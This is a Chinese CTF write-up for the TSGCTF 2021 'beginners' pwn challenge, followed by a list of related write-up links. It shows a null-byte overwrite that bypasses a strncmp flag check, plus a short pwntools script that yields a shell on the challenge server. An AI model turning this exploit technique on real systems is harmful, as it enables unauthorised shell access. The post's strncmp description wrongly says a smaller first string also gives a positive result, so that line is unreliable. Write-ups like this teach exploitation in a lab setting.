TSGCTF 2021 beginners

程序逻辑很简单，ptr指针指向读进来的flag，s1是自己输入的字符串，通过strncmp判等，相等就能执行win函数。首先需要知道scanf("%s")在读取字符串的时候会在末尾加上一个’\x00’来截断

看一下栈里的情况，s1与ptr的偏移是0x40，那么在输入s1时，只要输入长度大于0x40，就会在
0x40+1，也即ptr+1处写上一个’\x00’
再看一下strncmp函数，比较两个字符串的前n位，若str1==str2，返回0，若str1>str2返回正数，若
str1<str2返回正数。
事实上，strncmp的返回值是str1和str2第一个不相同位的ascii码的差值。
但重点是strncmp也会被‘\x00’截断
因此只要让s1和ptr的第一位都是’\x00‘，strncmp就会返回0，从而执行win函数getshell

from pwn_debug import *
context.log_level = 'debug' pdbg = pwn_debug("./chall") pdbg.local("")
pdbg.remote("34.146.101.4", 30007) p = pdbg.run("local")
p.recv()
p.sendline("\x00"*(0x40))
p.interactive()

tips:最开始以为c语言中非一个负值会得到正值，所以一直想着让strncmp返回一个负值就能执行win。捯饬了半天也打不通，最后发现c语言中非负值得到的也是0。

TSGCTF 2021 beginners_pwn wp相关推荐

TSGCTF 2021 Welcome to TSG CTF! WP
这道题我们队里讨论了很久,最后也是看了日本师傅的wp才做出来 content-type: application/json content-length:4null 最后的flag:TSGCTF{M4 ...
[极客大挑战2021]web wp
极客大挑战2021 Welcome2021 F12,提示请使用WELCOME请求方法来请求此网页 burp抓包,修改请求方法,发现f1111aaaggg9.php 再次请求得到flag Dark To ...
SCU新生赛2021 pwn wp
前段时间的极客大挑战2021和2021年的SCU新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了.太菜了呜呜呜.极客大挑战因为打太久了,题目都快忘记了,就不写wp了. ret2t ...
ctfshow渔人杯2021 部分WP
图片较多,手机加载较慢 python写的及其拉胯,所以请见谅(是真的拉胯) 解题用的方法都是笨方法,大家知道怎么做了之后可以找简单的方法已解题:签到抽奖.神仙姐姐.飘啊飘.感受下气氛.我跟你拼了.套 ...
[ISCC 2021]部分wp
文章目录海市蜃楼-1 Retrieve the passcode 我的折扣是多少小明的表情包 Hack the Victim 美人计李华的红包小明的宠物兔 ISCC客服冲冲冲(一) 这是啥 W ...
[祥云杯2021：Wp]
MISC 签到题:鸣雏恋 flag值: 层层取证 flag值: 这次的比赛比上一次有了很大的进步,毕竟能够做出来两个杂项题目了. 签到题:鸣雏恋题目附件是一个zip压缩包,里面只有一个word文档 ...
彻底理解mmap()
彻底理解mmap() 原创 Holy_666 最后发布于2019-01-17 22:51:27 阅读数 5056 收藏发布于2019-01-17 22:51:27 分类专栏: 服务器版权声明:本文 ...
2021年WordPress博客装修美化（一）
2021年Wordpress博客装修美化(一) 2021年WP博客Blocksy主题安装和基础配置接上篇,2021年Wordpress博客搭建 ,关于搭建WP的步骤,基本上都已经讲了.看完后,照着操 ...
wp：涅普冬令营（2021）监听消息
wp:涅普冬令营(2021) 监听消息为数不多独立做出来的题,留个纪念首先,网页下载附件用wireshark打开发现里面有很多"user7",结合题目"流量监听& ...

TSGCTF 2021 beginners_pwn wp

TSGCTF 2021 beginners_pwn wp相关推荐

最新文章

热门文章